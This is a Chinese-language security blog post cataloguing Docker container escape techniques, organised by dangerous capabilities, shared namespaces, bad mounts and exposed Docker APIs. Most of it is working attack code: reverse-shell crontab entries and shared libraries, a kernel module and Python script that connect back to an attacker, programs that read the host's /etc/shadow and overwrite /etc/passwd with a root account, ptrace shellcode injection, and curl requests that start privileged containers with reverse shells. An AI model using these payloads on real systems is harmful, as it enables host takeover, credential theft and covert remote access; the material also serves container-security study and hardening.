azraelxuemo's Studio.

容器逃逸 All in One

2023/11/13

前言

容器逃逸技术没有一尘不变的,很多旧的方法会随着新的内核特性,新的标准而改变,同时新的标准也会带来新的逃逸思路,这篇文章可能称不上标题所说的all in one,实际环境也千变万化。希望这篇文章可以给大家带来思路,可能在某一天的容器环境里发现可以利用的点,然后escape。

危险的Capability

privileged

实验环境配置

1
docker run -it --privileged ubuntu:18.04

实际利用

如果查看CapEff为0000003fffffffff代表为特权容器,可以逃逸

1
2
cat /proc/1/status|grep CapEff
CapEff: 0000003fffffffff

逃逸方法,挂载宿主机根目录

1
2
3
4
fdisk -l|grep Linux
mkdir /host
mount /dev/vda1 /host
chroot /host

这个时候只是文件系统层面逃逸,还没有彻底逃逸,需要用到接下来的方法

计划任务

/var/spool/cron/crontabs/ 适用于ubuntu debain
1
ls -la /var/spool/cron/crontabs

如果目录存在,代表我们可以写一个crontab

1
2
echo $'*/1 * * * * perl -e \'use Socket;$i="ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/crontabs/root
chmod 600 /var/spool/cron/crontabs/root

然后就是彻底逃逸了

/var/spool/cron 适用于centos
1
ls -la /var/spool/cron/

如果目录存在,代表我们可以写一个crontab

1
2
echo $'*/1 * * * * perl -e \'use Socket;$i="ip";$p=8080;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'' >> /var/spool/cron/root
chmod 600 /var/spool/cron/root

ld.so.preload

下面脚本为我自己编写,在实际测试中也可以用来做ld劫持,可以达到无感知劫持的效果,这里remove就是防止之后的所有进程都去加载这个so,实际我们加载一次就好了,如果需要可以重新上传

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#include <unistd.h>
#include <stdlib.h>
#include <stdio.h>
#include <arpa/inet.h>
int tcp_port = 8080;
char *ip = "ip";
__attribute__((destructor)) void test(){
remove("/etc/ld.so.preload");
int pid;
if((pid=fork())==0){
int fd;
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(tcp_port);
addr.sin_addr.s_addr = inet_addr(ip);
fd = socket(AF_INET, SOCK_STREAM, 0);
connect(fd, (struct sockaddr*)&addr, sizeof(addr));
dup2(fd, 0);
dup2(fd, 1);
dup2(fd, 2);
system("/bin/bash");
}
}
1
gcc evil.c --shared -fPIC -o evil.so

上传evil.so到/tmp

1
echo '/tmp/evil.so' >/etc/ld.so.preload

不过这种ld劫持还是需要类似有运维操作才可以触发,或者说有新进程创建

ssh

当我们完成文件系统层面逃逸后,可以做端口扫描

1
nc -nvz -w2  172.17.0.1 1-65535 2>&1|grep succeeded

如果发现宿主机开放了ssh服务,那我们可以直接ssh登陆到宿主机上实现完整的逃逸
直接adduser

1
adduser test

同时可以修改/etc/passwd 把test uid改为0变成root,然后ssh登陆即可

CAP_SYS_MODULE

实验环境配置

1
docker run -it --cap-add=SYS_MODULE  ubuntu:18.04

实际利用

1
cat /proc/self/status|grep Cap

发现有CAP_SYS_MODULE权限,那么直接往内核注入模块,我们直接在容器里面安装必备的东西

1
apt update&&apt install -y gcc make  vim  linux-headers-$(uname -r) kmod
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#include <linux/module.h>
MODULE_LICENSE("GPL");
char *argv[] = {
"/bin/bash",
"-c",
"bash -i >&/dev/tcp/ip/8888 0>&1",
NULL
};
static int __init connect_back_init(void)
{

return call_usermodehelper(
argv[0],
argv,
NULL,
UMH_WAIT_EXEC // don't wait for program return status
);
}

static void __exit connect_back_exit(void)
{
}

module_init(connect_back_init);
module_exit(connect_back_exit);
1
2
3
4
5
obj-m += exp.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(shell pwd) clean
1
2
insmod exp.ko //就会反弹shell
rmmod exp.ko //不需要了可以及时卸载

CAP_DAC_READ_SEARCH,CAP_DAC_OVERRIDE

实验环境配置

1
docker run -it --cap-add=DAC_READ_SEARCH  ubuntu:18.04

给了CAP_DAC_READ_SEARCH自动也会赋予CAP_DAC_OVERRIDE权限
但是如果只给CAP_DAC_OVERRIDE是不会给CAP_DAC_READ_SEARCH权限
只给CAP_DAC_OVERRIDE无法做到往宿主机写文件

实际利用

1
cat /proc/self/status|grep CapEff

发现有CAP_DAC_READ_SEARCH和CAP_DAC_OVERRIDE权限,代表我们可以任意读写主机上的文件

读文件

由于docker会默认mount /etc/hostname ,/etc/resolv.conf,/etc/hosts
于是我们拿/etc/hostname当作open_by_handle_at的入口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>


struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};



void die(const char *msg)
{
fprintf(stderr,"%s",msg);
exit(0);
}


void dump_handle(const struct my_file_handle *h)
{
fprintf(stderr,"[*] #=%d, %d, char nh[] = {", h->handle_bytes,
h->handle_type);
for (int i = 0; i < h->handle_bytes; ++i) {
fprintf(stderr,"0x%02x", h->f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr,"\n");
if (i < h->handle_bytes - 1)
fprintf(stderr,", ");
}
fprintf(stderr,"};\n");
}


int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR *dir = NULL;
struct dirent *de = NULL;

path = strchr(path, '/');

// recursion stops if path has been resolved
if (!path) {
memcpy(oh->f_handle, ih->f_handle, sizeof(oh->f_handle));
oh->handle_type = 1;
oh->handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);

if ((fd = open_by_handle_at(bfd, (struct file_handle *)ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");

if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");

for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de->d_name);
if (strncmp(de->d_name, path, strlen(de->d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de->d_name, (int)de->d_ino);
ino = de->d_ino;
break;
}
}

fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");


if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, &ino, sizeof(ino));
memcpy(outh.f_handle + 4, &i, sizeof(i));

if ((i % (1<<20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de->d_name, i);
if (open_by_handle_at(bfd, (struct file_handle *)&outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle(&outh);
return find_handle(bfd, path, &outh, oh);
}
}
}

closedir(dir);
close(fd);
return 0;
}


int main(int argc, char * argv[])
{
if(argc!=3){
die("Usages ./read filename save_filename");
}

// get a FS reference from something mounted in from outside
int fd1;
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open outside file error");

struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {0x02, 0, 0, 0, 0, 0, 0, 0}
};

if (find_handle(fd1, argv[1], &root_h, &h) <= 0)
die("[-] Cannot find valid handle!");

dump_handle(&h);
int fd2;

if ((fd2 = open_by_handle_at(fd1, (struct file_handle *)&h, O_RDONLY)) < 0)
die("[-] open_by_handle");

char buf[0x1000];
memset(buf, 0, sizeof(buf));
if (read(fd2, buf, sizeof(buf) - 1) < 0)
die("[-] read");
FILE *p;
if((p = fopen(argv[2], "w"))==NULL){
die("open write file failed");
}
else{
fputs(buf, p);
fclose(p);
}
close(fd2);
close(fd1);
return 0;
}
1
./read  /etc/shadow shadow

会把宿主机的/etc/shadow读出来,保存在shadow文件里

1
./read /etc/ssh/sshd_config sshd_config

查看是否可以root登陆,是否可以使用密码登陆

1
2
cat sshd_config|grep PermitRootLogin
cat sshd_config|grep PasswordAuthentication

然后把shadow里面的密码用john进行爆破,保存格式如下图,加不加用户名都可以

1
2
root:password
password
1
john passwd --wordlist=password.txt

爆破出密码了扫描ssh端口

1
nc -nvz -w2  172.17.0.1 1-65535 2>&1|grep succeeded

然后ssh登陆就好

写文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <errno.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <dirent.h>
#include <stdint.h>


struct my_file_handle {
unsigned int handle_bytes;
int handle_type;
unsigned char f_handle[8];
};
void die(const char * msg) {
fprintf(stderr,"%s",msg);
exit(0);
}
void dump_handle(const struct my_file_handle * h) {
fprintf(stderr, "[*] #=%d, %d, char nh[] = {", h -> handle_bytes,
h -> handle_type);
for (int i = 0; i < h -> handle_bytes; ++i) {
fprintf(stderr, "0x%02x", h -> f_handle[i]);
if ((i + 1) % 20 == 0)
fprintf(stderr, "\n");
if (i < h -> handle_bytes - 1)
fprintf(stderr, ", ");
}
fprintf(stderr, "};\n");
}
int find_handle(int bfd, const char *path, const struct my_file_handle *ih, struct my_file_handle *oh)
{
int fd;
uint32_t ino = 0;
struct my_file_handle outh = {
.handle_bytes = 8,
.handle_type = 1
};
DIR * dir = NULL;
struct dirent * de = NULL;
path = strchr(path, '/');
// recursion stops if path has been resolved
if (!path) {
memcpy(oh -> f_handle, ih -> f_handle, sizeof(oh -> f_handle));
oh -> handle_type = 1;
oh -> handle_bytes = 8;
return 1;
}
++path;
fprintf(stderr, "[*] Resolving '%s'\n", path);
if ((fd = open_by_handle_at(bfd, (struct file_handle * ) ih, O_RDONLY)) < 0)
die("[-] open_by_handle_at");
if ((dir = fdopendir(fd)) == NULL)
die("[-] fdopendir");
for (;;) {
de = readdir(dir);
if (!de)
break;
fprintf(stderr, "[*] Found %s\n", de -> d_name);
if (strncmp(de -> d_name, path, strlen(de -> d_name)) == 0) {
fprintf(stderr, "[+] Match: %s ino=%d\n", de -> d_name, (int) de -> d_ino);
ino = de -> d_ino;
break;
}
}
fprintf(stderr, "[*] Brute forcing remaining 32bit. This can take a while...\n");
if (de) {
for (uint32_t i = 0; i < 0xffffffff; ++i) {
outh.handle_bytes = 8;
outh.handle_type = 1;
memcpy(outh.f_handle, & ino, sizeof(ino));
memcpy(outh.f_handle + 4, & i, sizeof(i));
if ((i % (1 << 20)) == 0)
fprintf(stderr, "[*] (%s) Trying: 0x%08x\n", de -> d_name, i);
if (open_by_handle_at(bfd, (struct file_handle * ) & outh, 0) > 0) {
closedir(dir);
close(fd);
dump_handle( & outh);
return find_handle(bfd, path, & outh, oh);
}
}
}
closedir(dir);
close(fd);
return 0;
}
int main(int argc, char * argv[]) {
if (argc!=3){
die("Usage:./write outside_file inside_file");
}
int fd1;
// get a FS reference from something mounted in from outside
if ((fd1 = open("/etc/hostname", O_RDONLY)) < 0)
die("[-] open");
struct my_file_handle h;
struct my_file_handle root_h = {
.handle_bytes = 8,
.handle_type = 1,
.f_handle = {
0x02,
0,
0,
0,
0,
0,
0,
0
}
};


if (find_handle(fd1, argv[1], & root_h, & h) <= 0)
die("[-] Cannot find valid handle!");

dump_handle( & h);
int fd2;
if ((fd2 = open_by_handle_at(fd1, (struct file_handle * ) & h, O_RDWR)) < 0)
die("[-] open_by_handle");
char * line = NULL;
size_t len = 0;
ssize_t read;
FILE * fptr = fopen(argv[2], "r");
while ((read = getline( & line, & len, fptr)) != -1) {
printf("%p",line);
write(fd2, line, read);
}
printf("Success!!\n");
close(fd2);
close(fd1);
return 0;
}
1
2
echo 'test:$6$7p31yPiD$xLKWF5uIeS6oibSO2nwDlSQEjrzgPEFcRkSVTCEaeoxibJnXjC5NOmTVC/dLvuSHBrVt8tknWaPZ/65PECL0C1:0:0::/root:/bin/sh'>>passwd
./write /etc/passwd passwd

可以发现宿主机的/etc/passwd被我们覆盖了
然后ssh登陆宿主机,密码是123456

CAP_SYS_ADMIN

这个权限应该是实际业务里面最常见的权限了,很多容器都会开放这个权限,针对这个权限的逃逸也有很多方法,大家可以根据自己的喜好去利用

apparmor关闭

docker默认关于AppArmor的配置是docker-default,此时会不允许mount的syscall,那么我们需要关闭AppArmor
CentOS等Red Hat系的Linux操作系统上默认没有安装AppArmor。

实验环境配置

1
docker run  -it --cap-add=SYS_ADMIN --security-opt apparmor=unconfined ubuntu:18.04 bash

实际利用

1
cat /proc/1/status|grep CapEff

发现有CAP_SYS_ADMIN,那么可以逃逸,主要分为打proc或者打cgroup,但是打proc更为方便,同时受到的限制更少,更为通用,这里我就只以core_pattern的方式介绍逃逸

1
2
mkdir /tmp/proc
mount -t proc none -o rw /tmp/proc

获取容器在宿主机的路径

1
cat /proc/1/mountinfo|grep overlay


这里就是

1
/var/lib/docker/overlay2/fe02e21b1c8e2ca4fe60dd2bed6089ae837bf4e6f62a5bc81707cde3adca13cd/merged


然后在/tmp目录下编写一个反弹shell的python脚本,别忘记赋予执行权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
import os
import pty
import socket

lhost = "172.17.0.1" # 根据实际情况修改
lport = 10000 # 根据实际情况修改

def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')#HISTFILE这个环境变量指示出你的运行环境中保存命令历史的文件,这里可以帮我们隐藏
pty.spawn("/bin/bash")
s.close()

if __name__ == "__main__":
main()

修改core_pattern

1
echo -e "|/var/lib/docker/overlay2/fe02e21b1c8e2ca4fe60dd2bed6089ae837bf4e6f62a5bc81707cde3adca13cd/merged/tmp/.x.py " >  /tmp/proc/sys/kernel/core_pattern

之前之所以要获取容器的在宿主机上的路径是因为,当异常触发的时候,相当于是在宿主机的namespace里,我们必须要获取脚本的绝对路径,而不仅仅是脚本在容器里的路径
接下来编写一个触发异常的c代码

1
2
3
4
5
6
7
8
#include <stdio.h>

int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}

首先监听shell的回连端口,然后编译并执行

危险的namespace共享

Network共享

这个在实际场景也是比较常见的,攻击思路也比较广泛,如果容器和宿主机进行了network的共享,在docker里面是–net=host的配置,那么我们就可以在容器里面访问宿主机可以访问到的网络。

  • 如果是k8s网络,那么是不是可以打api server未授权,dashboard未授权,etcd未授权,kubelet未授权
  • 如果不是k8s编排,那么就打同网段的主机(fscan直接开扫)

那么怎么知道可以扫哪些ip

  • 环境变量里的ip和host
  • /etc/hosts里的网段
  • /etc/resolv.conf里的网段

PID共享

pid共享也是实际比较常见的场景,当我们发现有些进程对应的脚本文件在容器里面并没有,那么就是开启了pid共享,开启了pid共享还是有很多操作空间的

+特权容器

实验环境配置

1
docker run -it --pid=host  --privileged  ubuntu:18.04

实际利用

直接chroot
1
2
cd /proc/1/root
chroot .

直接逃逸,然后可以再配合前面提到的方法进行完整的逃逸

进程注入

这里面要注意两种情况

  • shellcode的问题,shellcode可能会出现\x90f1这种,需要在\x901f中间加””,不然解析会出现问题,hex escape sequence out of range
  • 注释掉的shellcode存在后台进程注入的问题,因为没有做dup2
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    #include <stdio.h>
    #include <stdlib.h>
    #include <stdint.h>
    #include <sys/ptrace.h>
    #include <sys/wait.h>
    #include <sys/user.h>
    unsigned char shellcode[]="";
    char *p;
    void inject_data (pid_t pid, uint32_t *dst)
    {
    uint32_t *src = (uint32_t *) shellcode;
    for (int i = 0; i < sizeof(shellcode); i+=4, src++, dst++)
    {
    if ((ptrace (PTRACE_POKETEXT, pid, dst, *src)) < 0)
    {
    perror ("ptrace(POKETEXT):");
    exit(1);
    }
    }
    }

    void main (int argc, char *argv[])
    {
    int syscall;
    long dst;
    if (argc != 2)
    {
    fprintf (stderr, "Usage:\n\t%s pid\n", argv[0]);
    exit (1);
    }
    pid_t target = atoi (argv[1]);
    if ((ptrace (PTRACE_ATTACH, target, NULL, NULL)) < 0)
    {
    perror ("ptrace(ATTACH):");
    exit (1);
    }
    wait (NULL);
    struct user_regs_struct regs;
    if ((ptrace (PTRACE_GETREGS, target, NULL, &regs)) < 0)
    {
    perror ("ptrace(GETREGS):");
    exit (1);
    }
    inject_data (target,(uint32_t *)regs.rip);
    regs.rip += 2;
    if ((ptrace (PTRACE_SETREGS, target, NULL, &regs)) < 0)
    {
    perror ("ptrace(SETREGS):");
    exit (1);
    }
    if ((ptrace (PTRACE_DETACH, target, NULL, NULL)) < 0)
    {
    perror ("ptrace(DETACH):");
    exit (1);
    }
    }

shellcode编写

需要填写服务器的ip和端口,这里直接用python的socket库帮我们生成就好

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
section .text
global _start

_start:
mov rdi,2 ;AF_INET
mov rsi,1;SOCK_STREAM
xor rdx,rdx
mov rax,0x29
syscall;socket
mov rdi,rax
push dword '';socket.inet_aton(ip)
push word 0x901f;socket.htons(port)
push word 2;AF_INET
push rsp
pop rsi;
mov rdx,0x10;
mov rax,0x2A;
syscall;connect
mov rsi,3;
dup:
dec rsi
mov rax,0x21
syscall;dup2
jne dup
lea rdi,[rel msg]
xor rsi,rsi
xor rdx,rdx
mov rax, 0x3b
syscall
msg db '/bin/bash',0
1
2
3
nasm -f elf64 -o test.o test.asm
ld -o test test.o
objdump -s test #查看shellcode

如果不想自己编译的话,用我下面这个脚本就可以

1
2
3
4
5
import socket
ip=""
port=8080
shellcode=b'\xbf\x02\x00\x00\x00\xbe\x01\x00\x00\x00H1\xd2\xb8)\x00\x00\x00\x0f\x05H\x89\xc7h'+socket.inet_aton(ip)+b'fh'+socket.htons(8080).to_bytes(2,'little')+b'""fj\x02T^\xba\x10\x00\x00\x00\xb8*\x00\x00\x00\x0f\x05\xbe\x03\x00\x00\x00H\xff\xce\xb8!\x00\x00\x00\x0f\x05u\xf4H\x8d=\r\x00\x00\x00H1\xf6H1\xd2\xb8;\x00\x00\x00\x0f\x05/bin/bash\x00'
print(shellcode)

把生成的shellcode直接复制进去即可

不是特权容器

这里我试了一下,就算给CAP_SYS_PTRACE和CAP_SYS_ADMIN都是不太好逃逸的,这里可能跟我docker版本比较新有关系,实际可以尝试一下,当pid共享的时候通过进程注入的方式来逃逸,这里就可以注入宿主机的进程,同时这种情况也可以关注一下,宿主机进程的目录我们是否有权限去写,或者说挂载了某些可控的目录
19.03.5版本的docker有CAP_STS_PTRACE和pid共享是可以直接注入的

挂载不当

procfs

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多非常敏感,重要的文件。因为,将宿主机的procfs挂载到不受控的容器也是十分危险的,尤其是在该容器默认启用root权限,且没有开启User Namespace时
procfs中的/proc/sys/kernel/core_pattern负责配置进程崩溃时内存转储数据的导出方式。
从2.6.19内核版本开始,linux支持在/proc/sys/kernel/core_pattern中使用新语法。如果该文件中的首个字符是管道符(|),那么该行的剩余内容将被当作用户空间程序或脚本解析并执行
上述描述的新功能原本是为了方便用户获得并处理内存转储数据,然而,他提供命令执行能力作为后门的这种思路十分巧妙,具有一定的隐蔽性。

实验环境配置

1
docker run -it -v /proc/:/host/proc/ ubuntu:18.04 bash

实际利用

1
find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."



由于挂载的原因,我们修改了core_pattern也会影响宿主机的core_pattern
获取容器在宿主机的路径

1
cat /proc/1/mountinfo|grep overlay


这里就是

1
/var/lib/docker/overlay2/b2e03c5ab8daa7792345fd5499a54612c49b2323ec08f4011ba78c7226fa052f/merged

然后在/tmp目录下编写一个反弹shell的python脚本,别忘记赋予执行权限

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#!/usr/bin/python3
import os
import pty
import socket

lhost = "172.17.0.1" # 根据实际情况修改
lport = 10000 # 根据实际情况修改

def main():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((lhost, lport))
os.dup2(s.fileno(), 0)
os.dup2(s.fileno(), 1)
os.dup2(s.fileno(), 2)
os.putenv("HISTFILE", '/dev/null')#HISTFILE这个环境变量指示出你的运行环境中保存命令历史的文件,这里可以帮我们隐藏
pty.spawn("/bin/bash")
s.close()

if __name__ == "__main__":
main()

修改core_pattern

1
echo -e "|/var/lib/docker/overlay2/b2e03c5ab8daa7792345fd5499a54612c49b2323ec08f4011ba78c7226fa052f/merged/tmp/.x.py " >  /host/proc/sys/kernel/core_pattern

接下来编写一个触发异常的c代码

1
2
3
4
5
6
7
8
#include <stdio.h>

int main(void)
{
int *a = NULL;
*a = 1;
return 0;
}

首先监听shell的回连端口,然后编译并执行

docker socket

实验环境配置

1
docker run -it -v /var/run/docker.sock:/var/run/docker.sock ubuntu:18.04 bash

实际利用

1
find / -name docker.sock 2>/dev/null | wc -l | grep -q -v 0  && echo "Docker socket is mounted" ||echo "Docker socket is not mounted"

查看挂载了docker.sock

获取可以用的镜像

1
curl --unix-socket /run/docker.sock http://localhost/images/json


创建特权容器并且反弹shell

1
2
3
4
5
6
7
8
9
curl -X POST -H "Content-Type: application/json" -d "{
\"Image\": \"ubuntu:18.04\",
\"HostConfig\": {
\"Privileged\": true
},
\"Cmd\":[
\"bash\",\"-c\",\"bash -i >& /dev/tcp/172.17.0.1/10001 0>&1\"
]
}" --unix-socket /run/docker.sock http://localhost/containers/create

返回一个id

监听端口,并且启动容器

1
curl -X POST  --unix-socket /run/docker.sock http://localhost/containers/c083f630d5828591bba03b48f2193422f4e661149689d1cd9c12b2637e7450cd/start

反弹了shell并且是特权容器

配置不当

docker http api暴露

实验环境配置

http没有身份认证,攻击者可以直接控制docker,并且可以轻松控制宿主机

1
2
[Service]  
ExecStart= -H tcp://0.0.0.0:2375

execstart后面加上一下就可以启动http api

1
2
systemctl daemon-reload
systemctl restart docker

image.png
通过docker http api访问

1
docker -H tcp://127.0.0.1:2375 images

image.png

实际利用

首先在容器中检查是否存在docker api问题

1
IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

image.png
尝试使用docker api

1
docker -H tcp://172.17.0.1:2375 ps

但这个时候我们没有docker命令行怎么办

1
curl http://172.17.0.1:2375/images/json

查看有哪些镜像,我们等会直接用
image.png

Entrypoint设置为反弹shell

1
2
3
4
5
6
7
8
9
curl -X POST -H "Content-Type: application/json" -d "{
\"Image\": \"ubuntu:18.04\",
\"HostConfig\": {
\"Privileged\": true
},
\"Cmd\":[
\"bash\",\"-c\",\"bash -i >& /dev/tcp/172.17.0.2/10001 0>&1\"
]
}" http://172.17.0.1:2375/containers/create

image.png
监听port,然后启动容器

1
curl -X POST  http://172.17.0.1:2375/containers/45af8059b2144209053cf4375d93a06d4d9304eedc164ea1c503b2d60e0945f4/start  

image.png

1
fdisk -l|grep Linux

image.png

1
mkdir /host_fs&&mount /dev/sda5 /host_fs&&chroot /host_fs

image.png
接下来可以写个crontab然后就是完整逃逸了

运行反弹shell的命令

1
2
3
4
5
6
7
8
9
curl -X POST -H "Content-Type: application/json" -d "{
\"Image\": \"ubuntu:18.04\",
\"HostConfig\": {
\"Privileged\": true
},
\"Cmd\":[
\"bash\",\"-c\",\"while true;do sleep 1;done\"
]
}" http://172.17.0.1:2375/containers/create

image.png
启动container

1
curl -X POST  http://172.17.0.1:2375/containers/d2a79a8b7504eced18ae2a80c853fb10ccecebe1cb247c0c10020038aef1fe71/start  

先反弹一个shell

1
2
3
curl -X POST -H "Content-Type: application/json" -d "{
\"Cmd\": [\"bash\",\"-c\",\"bash -i >& /dev/tcp/172.17.0.2/10001 0>&1\"]
}" http://172.17.0.1:2375/containers/d2a79a8b7504eced18ae2a80c853fb10ccecebe1cb247c0c10020038aef1fe71/exec

image.png
这里获得了一个exec的实例,还需要start,先监听端口

1
curl -X POST  -H "Content-Type: application/json" -d "{}" http://172.17.0.1:2375/exec/f9b1940dfe2e932ee564e0f975559652ea33c1635c4f9f00721664a173fc0d3d/start  

image.png
反弹成功,然后挂载

1
mkdir /host_fs&&mount /dev/sda5 /host_fs&&chroot /host_fs

image.png
逃逸成功

Docker用户组提权

Docker 运行的所有命令都是需要sudo来运行,那是因为docker需要root权限才能运行,但如果给普通用户添加到docker用户组,那么就可以让当前用户提权成root

实验环境配置

添加用户test,并加入docker的group

1
2
3
adduser test
usermod -G docker test
newgrp docker

实际利用

方法1:挂载宿主机根目录

1
2
3
su test
docker run -it -v /:/host_fs ubuntu:18.04 bash
chroot /host_fs

image.png

方法2:添加一个特权账户

1
2
openssl passwd -1 -salt test-docker #输入密码123456
>>$1$test-doc$7Krifp/2cYh92wAZKqkJR1 #返回的结果
1
2
3
docker run -v /etc/:/mnt -it ubuntu:18.04 bash
cd /mnt
echo 'test-docker:$1$test-doc$7Krifp/2cYh92wAZKqkJR1:0:0::/root:/bin/bash' >>passwd

然后退出来,直接su test-docker提权
就变成root了
image.png

未完待续..

CATALOG
  1. 1. 前言
  2. 2. 危险的Capability
    1. 2.1. privileged
      1. 2.1.1. 实验环境配置
      2. 2.1.2. 实际利用
        1. 2.1.2.1. 计划任务
          1. 2.1.2.1.1. /var/spool/cron/crontabs/ 适用于ubuntu debain
          2. 2.1.2.1.2. /var/spool/cron 适用于centos
        2. 2.1.2.2. ld.so.preload
        3. 2.1.2.3. ssh
    2. 2.2. CAP_SYS_MODULE
      1. 2.2.1. 实验环境配置
      2. 2.2.2. 实际利用
    3. 2.3. CAP_DAC_READ_SEARCH,CAP_DAC_OVERRIDE
      1. 2.3.1. 实验环境配置
      2. 2.3.2. 实际利用
        1. 2.3.2.1. 读文件
        2. 2.3.2.2. 写文件
    4. 2.4. CAP_SYS_ADMIN
      1. 2.4.1. apparmor关闭
        1. 2.4.1.1. 实验环境配置
        2. 2.4.1.2. 实际利用
  3. 3. 危险的namespace共享
    1. 3.1. Network共享
    2. 3.2. PID共享
      1. 3.2.1. +特权容器
        1. 3.2.1.1. 实验环境配置
        2. 3.2.1.2. 实际利用
          1. 3.2.1.2.1. 直接chroot
          2. 3.2.1.2.2. 进程注入
        3. 3.2.1.3. shellcode编写
      2. 3.2.2. 不是特权容器
  4. 4. 挂载不当
    1. 4.1. procfs
      1. 4.1.1. 实验环境配置
      2. 4.1.2. 实际利用
    2. 4.2. docker socket
      1. 4.2.1. 实验环境配置
      2. 4.2.2. 实际利用
  5. 5. 配置不当
    1. 5.1. docker http api暴露
      1. 5.1.1. 实验环境配置
      2. 5.1.2. 实际利用
        1. 5.1.2.1. Entrypoint设置为反弹shell
        2. 5.1.2.2. 运行反弹shell的命令
    2. 5.2. Docker用户组提权
      1. 5.2.1. 实验环境配置
      2. 5.2.2. 实际利用
        1. 5.2.2.1. 方法1:挂载宿主机根目录
        2. 5.2.2.2. 方法2:添加一个特权账户